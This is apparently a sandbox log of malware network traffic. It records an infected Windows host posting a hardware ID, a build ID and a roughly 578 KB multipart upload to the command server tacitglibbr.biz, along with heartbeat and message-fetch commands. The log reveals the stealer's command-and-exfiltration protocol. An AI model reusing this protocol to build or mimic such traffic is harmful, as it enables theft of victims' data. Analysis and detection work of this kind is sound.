2024-12-16 16:03:31 UTC	1019	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 16:03:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qp328inihhgv992elg3n507vng; expires=Fri, 11-Apr-2025 09:50:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IAHzYzLSEsJqu0EKOIFdPVappPFWIuaLk%2BPN%2BRkuEaNIR42s%2BnJ6agJUm8VICWw5m4MyWcK2ZETGTPHuiqq7voVNtODT6JinTv0w2jYAdwdQ1Zhe8zNjKbi4KF9bzl%2Bd2NI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2fe75a5d4f36b3-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=20849&min_rtt=14554&rtt_var=9954&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2840&recv_bytes=21161&delivery_rate=200632&cwnd=32&unsent_bytes=0&cid=ae58890420cfffc7&ts=2875&x=0"
2024-12-16 16:03:31 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 16:03:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.8	49940	172.67.164.37	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 16:03:33 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IIOFVG779XKC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1271 Host: tacitglibbr.biz
2024-12-16 16:03:33 UTC	1271	OUT	Data Raw: 2d 2d 49 49 4f 46 56 47 37 37 39 58 4b 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 36 32 39 36 33 43 46 43 37 33 42 43 45 41 43 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 49 49 4f 46 56 47 37 37 39 58 4b 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 49 49 4f 46 56 47 37 37 39 58 4b 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 49 49 4f 46 56 47 37 37 39 58 4b 43 0d 0a Data Ascii: --IIOFVG779XKCContent-Disposition: form-data; name="hwid"362963CFC73BCEACAC8923850305D13E--IIOFVG779XKCContent-Disposition: form-data; name="pid"1--IIOFVG779XKCContent-Disposition: form-data; name="lid"PsFKDg--pablo--IIOFVG779XKC
2024-12-16 16:03:37 UTC	1019	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 16:03:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i1aa3s62btfbk0mm8me5dq5u1j; expires=Fri, 11-Apr-2025 09:50:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DuMdLOt02j5DTDbjH%2BsWZnxv3pMlwNUvd1cTqx%2BN8DfxB7sU6I%2B4FFIMvz%2B6hwXpXcP2W6k83h8SOrc7k0bPxolGfC4TJGfvQwCocf89lxW37qAEUbJi%2BJyis4AN0omz%2BdA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2fe774a9924255-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1700&min_rtt=1695&rtt_var=645&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2838&recv_bytes=2181&delivery_rate=1682997&cwnd=225&unsent_bytes=0&cid=2818470c2fbf16e7&ts=4234&x=0"
2024-12-16 16:03:37 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 16:03:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.8	49956	172.67.164.37	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 16:03:39 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2ICSFTDO22694U0Q User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 578595 Host: tacitglibbr.biz
2024-12-16 16:03:39 UTC	15331	OUT	Data Raw: 2d 2d 32 49 43 53 46 54 44 4f 32 32 36 39 34 55 30 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 36 32 39 36 33 43 46 43 37 33 42 43 45 41 43 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 32 49 43 53 46 54 44 4f 32 32 36 39 34 55 30 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 32 49 43 53 46 54 44 4f 32 32 36 39 34 55 30 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 32 49 Data Ascii: --2ICSFTDO22694U0QContent-Disposition: form-data; name="hwid"362963CFC73BCEACAC8923850305D13E--2ICSFTDO22694U0QContent-Disposition: form-data; name="pid"1--2ICSFTDO22694U0QContent-Disposition: form-data; name="lid"PsFKDg--pablo--2I
2024-12-16 16:03:39 UTC	15331	OUT	Data Raw: b4 c5 4b e2 f7 91 53 68 98 bb a4 cc 2a 22 8f ee 8a 55 c2 cc bc 92 c5 f9 e4 6c cf ba 08 11 6b ba a3 93 b6 48 a2 9b 3e 43 32 df 0c 1e 11 98 3b 00 f4 ef f4 b4 38 40 70 87 d8 43 47 5f d7 e1 a2 8f 1e 53 e6 72 5e b3 1f 35 30 40 69 be a6 88 11 e8 2c c0 bc 3d 70 4c 50 9e 39 d4 f2 db 37 df 94 6a 16 34 91 b2 20 82 84 45 60 7d 85 de 8e 28 3f 3f 7e 60 a9 86 d5 c2 75 60 2c ce a1 35 d3 49 5f 94 5f df 14 e9 4a 09 76 44 60 ec 7b e0 f5 9a 96 77 f7 f7 56 f3 9a 6c e0 f5 a9 1d cc e1 c0 23 63 4a 2e 0b 11 72 fc 40 84 ae 5f 67 88 c6 7a 27 30 f3 8c 7c 44 50 9c 3d c3 34 95 18 78 3b c6 e0 4c 87 35 44 3f 2c d9 cb 07 2e 27 a5 3b b8 e1 40 93 1c c7 d6 18 1d 2b 92 e9 50 0a c9 aa c0 14 11 6e 91 06 d5 8f fd 39 25 3c ee 0b 82 50 bb 24 bd 1c 39 50 cc 70 98 60 d6 f2 a4 ca ce 94 66 3c a5 ca Data Ascii: KSh*"UlkH>C2;8@pCG_Sr^50@i,=pLP97j4 E`}(??~`u`,5I__JvD`{wVl#cJ.r@_gz'0\|DP=4x;L5D?,.';@+Pn9%<P$9Pp`f<
2024-12-16 16:03:39 UTC	15331	OUT	Data Raw: bc 4d 04 ec c3 12 e9 aa eb ca 7f fb 26 17 95 37 7b 3d f9 fd 30 18 c7 31 db ff 5e 35 5c f0 66 5f 9a 54 00 e9 4f a3 f2 a1 64 37 5f 70 99 d0 6c e1 95 8c 57 5e d9 31 99 55 bb 52 53 f1 a6 0d f1 a6 b2 0b c3 1a b5 34 39 0c ac b2 45 9d 36 57 11 b0 57 e6 29 88 af b6 f8 66 9e 19 ec b5 0d 21 39 ca 9a ab 0f 34 8d 39 6f 9e a1 0a 78 58 06 0d 2e ff e1 53 69 2a 1b 4c 15 7a b2 24 ff 1b 53 04 e1 98 c1 41 96 ea 04 ef b8 45 2b a5 aa b8 5d f4 10 05 e3 4c b3 58 5d 34 09 b5 f1 e2 d3 ca 77 d9 f5 5a b1 1b 4a 74 fd 49 f9 86 bb d3 a8 86 b2 f2 6d 9d 85 84 5c 23 0f e2 5e 95 4f 71 d5 7a 22 24 96 d7 57 13 92 07 2e b7 0c 2b d1 fd 4f 68 47 59 d6 0a d7 2b fd 6c 76 16 5d 0d 87 11 e3 9c 79 c4 dd fb a2 b5 4d 8e 06 07 f9 2e fc f8 11 3a 33 77 2e 26 63 be 44 13 f0 40 d3 d2 5d cb 09 28 52 eb ab Data Ascii: M&7{=01^5\f_TOd7_plW^1URS49E6WW)f!949oxX.Si*Lz$SAE+]LX]4wZJtIm\#^Oqz"$W.+OhGY+lv]yM.:3w.&cD@](R
2024-12-16 16:03:39 UTC	15331	OUT	Data Raw: e7 e4 16 aa 4e 60 3b 9c 50 c1 b1 b0 86 92 13 09 bf 7b 34 cb 51 14 c4 b5 30 c7 b5 71 19 4a 02 2f a7 59 71 da 16 96 57 65 da fc 37 89 8e 6c 0b e8 95 e9 d5 0e 38 96 6b 5b 60 f1 a3 6d bb 51 fd 26 0c c7 bc 5d 39 5c f3 d1 96 c7 fb a1 ef e7 0f 67 95 e1 d4 8d 6a 49 26 fc db 6c ad 57 0f c0 9d d2 04 1b a0 22 bd bc 71 28 9c b2 1e 76 f8 21 5f 0a e3 1c 84 32 73 f7 03 ee 47 fa 2c 66 85 28 19 56 7f 62 72 55 9e cc 35 2a ef 1b e8 fc e8 db 72 49 29 9c a9 aa 80 f5 19 b3 6f 5d 21 f1 66 b8 ed 7f 75 ac 72 99 22 91 21 c4 87 fb 30 b0 c8 58 5e d3 52 8e 26 b3 3e 73 03 be 53 d7 f1 19 26 00 9b b1 15 9f 66 d5 ce 9e 7c ef 5a 7c 9d 4b 96 dc e4 b4 d7 5d d5 3b 96 77 31 4a d4 a4 d4 c7 cf 7d be 09 bd ba e7 36 65 da d5 4a 0a b9 39 fe 81 c8 05 f4 b9 3f 81 62 58 37 e3 a6 06 42 95 1e f4 c1 b3 Data Ascii: N`;P{4Q0qJ/YqWe7l8k[`mQ&]9\gjI&lW"q(v!_2sG,f(VbrU5*rI)o]!fur"!0X^R&>sS&f\|Z\|K];w1J}6eJ9?bX7B
2024-12-16 16:03:39 UTC	15331	OUT	Data Raw: 7e 97 9a f4 22 7c 54 31 af d4 2c ca dc 40 63 eb 18 4f f3 7e cc 1c f2 42 13 fb b6 8b 53 ad 1f 4a c7 e5 ef 51 85 63 ff a4 91 64 31 2e b6 7a 63 de 58 0d e6 91 65 c4 74 9d 81 8c cc 20 f9 8a 40 ed 7e 4c 3c 8d 6f 7a c5 41 92 24 a3 e5 9a 16 1e 45 f2 54 ce bc d9 d5 b5 13 56 fa ce 18 66 77 f8 fc 56 66 fc ca ad e3 36 69 51 62 47 79 7e 20 4c 61 64 fe 1b 87 70 b2 d5 9c 30 8f eb c9 04 55 01 c1 00 9f 51 91 77 bf 6b 4c bd 4d ac 33 50 b7 39 47 14 25 2e 6c 7f f0 b6 4c 8b 2e d5 4e 7e 64 84 ba db 3d 23 fc 8a c3 15 96 19 7d 4f 4c e5 43 91 85 21 ee b4 fe f4 6c 47 10 e9 0a db 9b 2d ad 7c 65 c8 c3 8d 03 a3 4d 30 2d 4b ac 16 64 7c b6 5f 4e ee 38 c3 8d 43 43 86 12 2f 5b 2d 6f ef f0 11 45 8f 5a d8 76 e3 26 31 0d 03 91 8e ff f9 ab ff df 8b 15 17 58 9b 84 99 a3 20 e5 0a a2 3e e0 16 Data Ascii: ~"\|T1,@cO~BSJQcd1.zcXet @~L<ozA$ETVfwVf6iQbGy~ Ladp0UQwkLM3P9G%.lL.N~d=#}OLC!lG-\|eM0-Kd\|_N8CC/[-oEZv&1X >
2024-12-16 16:03:39 UTC	15331	OUT	Data Raw: a5 50 22 39 28 5c 5b db 7d 92 b0 99 38 16 0f 26 cf 86 97 eb 75 2b a0 dc c5 b1 bd 13 38 b8 30 b0 90 81 ba 9f 7b 76 1c 23 86 4e 7c 2d 65 f9 cf a2 8e 1d 85 38 3f de b4 bc 8c 78 7d e7 28 38 ed e3 2c b5 69 01 4c e8 b1 a1 a5 bc 42 7b c3 c3 5d d2 13 77 62 ae 57 7e f8 84 55 a9 aa 09 7e 4a 29 c0 ee f7 46 dc 3d ec 0b ee fc ee f9 de ca 2e 0a f6 da 55 dd 6e 0e 36 09 a7 2a b1 da 37 3d 05 79 5b 5b 59 16 9b b1 58 af cb c2 9f 4e 59 ec 3a 39 d1 03 67 58 ce bb cf e0 76 df 13 5e 79 5b 1f c6 93 5c ba 78 4d e8 59 97 b3 f0 dc 44 2c c2 ef 20 1e 8f 77 4a 33 d0 43 87 a6 f0 bb 4a c5 7c b5 65 4c fd 79 d1 17 c6 05 24 b8 df a9 e1 7c 80 bc 15 4b ff b0 2b 45 36 7d 7a a1 33 78 a8 a8 d0 71 47 c6 28 ec 74 be f2 49 29 5c 1b 17 d6 e3 97 55 5b df 29 d2 ac a0 a5 55 fa d3 98 28 40 fd eb fc 39 Data Ascii: P"9(\[}8&u+80{v#N\|-e8?x}(8,iLB{]wbW~U~J)F=.Un6*7=y[[YXNY:9gXv^y[\xMYD, wJ3CJ\|eLy$\|K+E6}z3xqG(tI)\U[)U(@9
2024-12-16 16:03:39 UTC	15331	OUT	Data Raw: e3 30 0f 91 1b e5 b1 64 3c 7c 81 f6 40 78 f3 f6 52 ac d6 ae 5d 1f 26 cf 0b 2d 88 e0 92 2e fe 23 cf 87 95 f5 26 bf fb ef d9 de 7d f5 98 35 d4 f2 fb a3 b8 b6 04 ee 95 04 84 5e 04 21 71 ed 9e 11 d5 28 44 04 bb 9c 12 71 26 11 61 78 8c 5b 1e 66 bb 51 47 cd 27 99 4b 1f 5a bf 54 4a 50 3e f6 85 7c ec 0b f3 5d bf 8d 12 77 e3 02 10 47 61 0f 22 32 20 78 43 7e d4 79 ec 58 e5 a1 f1 bf 2c 6f 0b a9 52 64 e8 32 24 59 5b 8a c8 98 e2 54 d1 5b bc ef f6 b4 24 55 ae aa ae 88 6b 54 7c f2 00 bd 4e 76 21 28 86 94 bf 77 b5 98 0a ff c2 d2 e4 52 6e ad 5e 22 66 f6 da 88 39 6c d2 ff 25 53 57 91 d7 77 94 a3 45 e9 a7 97 08 ec 3c b0 37 2f 25 f8 4b c0 e2 23 d9 b0 fb 3e ab e1 6d ec 63 db 66 e9 5f 3f 5e fc e2 3f 7f 6f 92 35 30 c2 66 fe 5b 57 7d 94 f5 a7 fa d1 1d c7 ea a3 48 90 d1 30 1f cc Data Ascii: 0d<\|@xR]&-.#&}5^!q(Dq&ax[fQG'KZTJP>\|]wGa"2 xC~yX,oRd2$Y[T[$UkT\|Nv!(wRn^"f9l%SWwE<7/%K#>mcf_?^?o50f[W}H0
2024-12-16 16:03:39 UTC	15331	OUT	Data Raw: 6f aa b3 90 2e 0a 78 87 a7 69 48 a6 1f 28 50 b4 0f b3 2b 6a 9b 9c c4 fe 4e 62 fe 03 18 89 fa 40 b4 c7 70 e2 18 37 a1 73 6e 60 ed 09 f1 09 dc e7 00 f1 3a f9 eb 66 6d c1 f5 71 ee 47 76 aa af e0 79 e5 a6 da c4 88 5a f1 26 ff d4 0d 7d a5 46 a3 15 d7 aa 29 a0 b0 2c c5 86 e7 ad 32 9f 9c 22 8f e4 f9 ff fb dd a0 35 e4 25 77 e3 25 e8 ba ca 6d 98 b0 37 0f e3 95 ef 31 22 1f 12 cb 99 3a 3c c8 cd 35 a4 d7 71 97 45 75 c6 ee 94 bd f0 39 c3 50 b6 c3 e1 52 eb 98 d7 a0 b3 d1 6d c1 fb 61 47 d8 2f 87 b9 33 62 82 2c 99 1b f5 8a 2d f3 0e e0 0b 16 d7 a8 1f 14 b4 d1 06 9d 3f 03 4a c1 65 73 fa 2e a3 b8 6b 81 0f 57 8a 14 ee 83 48 e7 df 09 3b 4e fe 0f 82 a0 78 03 dd 57 41 3b b2 22 c9 9e da 4c b6 b3 b6 b8 92 eb bd 4f 52 a9 c3 2e 8d b9 91 1f 1b a7 8c d8 1d 60 21 d8 bf 2d a4 0c f1 73 Data Ascii: o.xiH(P+jNb@p7sn`:fmqGvyZ&}F),2"5%w%m71":<5qEu9PRmaG/3b,-?Jes.kWH;NxWA;"LOR.`!-s
2024-12-16 16:03:39 UTC	15331	OUT	Data Raw: 6b fb 72 bc cf cd cd d8 54 ad fe af 87 a7 9e 2a 91 b4 92 0b 1f 14 80 3a 32 22 f9 83 39 b1 d7 c5 ae 2c 68 31 52 1f 0a aa 48 6d 1b e7 a5 19 c6 19 48 ca 51 50 7d 28 38 48 c3 db 27 1f bb 3c 91 c3 c3 fb eb 45 b2 cf e9 0e 55 8a ba ab 6f f9 c0 29 bc 2e 8c 2f 75 e9 14 7c cf 47 50 20 16 c3 d3 59 89 9b e6 cb 4d be 01 45 f2 b0 70 19 2a d5 d7 d0 79 f9 6f a7 5d 5d 2a 42 97 47 8c 2e f3 09 a0 6a 38 5d a7 d8 3d a9 70 f0 91 15 a2 0d e4 48 24 d7 15 e4 e7 9b 45 f9 30 42 f2 92 d3 14 e7 97 61 3b 56 b9 fe d0 86 20 c3 6a 05 68 b4 b0 4d 5d 7b 5b c0 65 51 70 0f 61 ad 40 91 45 35 8a e6 d6 be df d4 11 e8 31 dd 67 70 b5 78 87 57 59 c0 d8 c4 b8 15 14 ef c1 95 bf 1b b6 e3 3f b5 50 86 32 a3 8e 44 47 14 9d c4 eb 6f 63 0a 1d a8 d5 ef 39 ab 2a 22 39 bc a2 e6 9c b1 8c 3c ea c6 7d 8b e6 e0 Data Ascii: krT:2"9,h1RHmHQP}(8H'<EUo)./u\|GP YMEpyo]]BG.j8]=pH$E0Ba;V jhM]{[eQpa@E51gpxWY?P2DGoc9"9<}
2024-12-16 16:03:39 UTC	15331	OUT	Data Raw: aa 47 a1 96 44 8b f1 c5 11 e5 b3 be 3b 45 d8 38 0a de 93 f6 62 a7 fc 85 ba 3a 2d 75 af 05 c0 05 9a 73 c2 9a ad 02 1e 5c b6 8c 53 ce 8c 1c 91 b9 6d cc 7b b1 41 bb fb c0 72 b3 c7 81 7d 82 0c fb 8d cf e8 c0 c4 b6 a8 91 0e 1c 4c d9 e5 1c 21 8a 18 75 88 09 f7 fd 96 eb 78 42 54 94 57 38 72 e4 03 11 85 f9 d2 47 93 e6 60 63 bd 06 1a 44 69 22 56 80 52 c4 de b0 42 0e 20 db d5 04 b7 01 94 04 6a 3e b7 28 59 ad fb 83 69 39 22 66 b7 ef e1 5d eb 38 ea c5 31 ed c1 28 e7 46 fd 6e 86 20 44 10 12 1d 76 98 cf f1 67 1f 58 97 bf 65 6a f4 09 89 8a 9d 9e ed 9a 2e bc 83 f2 fa 9b c0 a5 d6 c8 54 61 53 2d 4e 51 32 be de 6c 51 4d 22 5f 19 e5 41 8d 84 10 27 f5 03 ce 82 a0 3b 80 78 59 0c 47 95 10 69 7a a5 b4 45 68 a7 99 89 a0 8a f2 00 d6 36 a5 6d 25 f1 60 bd 69 c1 98 9c 6a 8b 7c 92 0e Data Ascii: GD;E8b:-us\Sm{Ar}L!uxBTW8rG`cDi"VRB j>(Yi9"f]81(Fn DvgXej.TaS-NQ2lQM"_A';xYGizEh6m%`ij\|
2024-12-16 16:03:44 UTC	1018	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 16:03:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5da4ng2v20k5cm3su4nsoh00ra; expires=Fri, 11-Apr-2025 09:50:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f43DYwReF2veKU1kv4SFaMi4VNv7oIAfksogS1IC%2Fto9WB4CGs2VJknzuGmKlPb4cQKZfG5c2DgPkrtOLIglTNnzxG2R99cRn3wVZSlLjj1C2UzSktypPTGLueE%2B1Aqn%2F4c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2fe79c6cbf42a9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1688&min_rtt=1674&rtt_var=656&sent=288&recv=603&lost=0&retrans=0&sent_bytes=2839&recv_bytes=581161&delivery_rate=1633109&cwnd=32&unsent_bytes=0&cid=15352c891aa8f340&ts=5435&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.8	49972	172.67.164.37	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 16:03:46 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: tacitglibbr.biz
2024-12-16 16:03:46 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 33 36 32 39 36 33 43 46 43 37 33 42 43 45 41 43 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=362963CFC73BCEACAC8923850305D13E
2024-12-16 16:03:49 UTC	1008	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 16:03:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qgj4i16vgdg5f0mfpt6g7pjqcf; expires=Fri, 11-Apr-2025 09:50:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MyfWpq8lD0pqc64p4jmGATJnSeYlZCTZHvNPe755YYhaSloK0kmu5UKkrOoJCSEjxwLkouPQx3OcYDU19hj1SFYV78y3xksRtCBQ6%2BxkF44EWg6itgqMW1KNWWfQbpbbjOY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2fe7c6cfe572a1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2038&min_rtt=2031&rtt_var=767&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=981&delivery_rate=1437715&cwnd=194&unsent_bytes=0&cid=aef274d0f72dbfa0&ts=2974&x=0"
2024-12-16 16:03:49 UTC	214	IN	Data Raw: 64 30 0d 0a 72 53 79 72 5a 33 59 39 31 56 59 49 32 6f 35 59 43 4e 54 62 4d 6e 49 46 42 61 36 67 39 6a 53 4b 36 75 64 6e 58 6d 52 51 78 68 62 32 56 34 6b 53 56 41 66 33 50 6e 79 75 2f 6d 4a 55 2b 34 63 64 51 7a 30 77 67 4a 4c 48 41 61 54 62 31 6c 52 77 56 57 61 61 4f 63 4a 4b 7a 54 74 5a 57 62 41 77 4a 72 2f 32 50 53 72 34 2b 56 51 47 4a 7a 2b 65 6a 4e 52 52 71 4e 44 58 47 6e 49 66 63 72 4d 30 6c 77 37 44 45 77 4a 4e 37 77 6f 6e 68 71 46 70 4d 4f 48 31 41 45 4d 77 4b 35 2b 52 78 52 71 37 33 4c 74 49 4c 52 41 31 70 33 76 78 41 39 6b 47 47 46 6d 36 4f 79 61 2f 39 6a 30 71 2b 50 6c 55 42 69 63 2f 6e 6f 7a 55 55 61 6a 51 31 78 6f 44 0d 0a Data Ascii: d0rSyrZ3Y91VYI2o5YCNTbMnIFBa6g9jSK6udnXmRQxhb2V4kSVAf3Pnyu/mJU+4cdQz0wgJLHAaTb1lRwVWaaOcJKzTtZWbAwJr/2PSr4+VQGJz+ejNRRqNDXGnIfcrM0lw7DEwJN7wonhqFpMOH1AEMwK5+RxRq73LtILRA1p3vxA9kGGFm6Oya/9j0q+PlUBic/nozUUajQ1xoD
2024-12-16 16:03:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.8	49985	172.67.164.37	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 16:03:50 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: tacitglibbr.biz
2024-12-16 16:03:50 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-16 16:03:52 UTC	1013	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 16:03:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=iokqab2j55q8o0j623gv3tuitf; expires=Fri, 11-Apr-2025 09:50:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E9xcaO5IPJ5NjBVILCdfusGDB%2Bf4L7gPDQ1%2FQBWvWcnBSvaHwtOF0YnikwQyarTKyeJzwHqch%2BZDdNN4qycmIrJ3KwH7rZScotlv4QV3SPOzKE6Enl36VEdqlacCUsaHnOg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2fe7e138834bd2-BUF alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=12680&min_rtt=12525&rtt_var=5008&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=906&delivery_rate=212024&cwnd=47&unsent_bytes=0&cid=bc600fbcc9e50913&ts=1964&x=0"
2024-12-16 16:03:52 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-16 16:03:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.8	50012	172.67.164.37	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 16:03:53 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: tacitglibbr.biz
2024-12-16 16:03:53 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
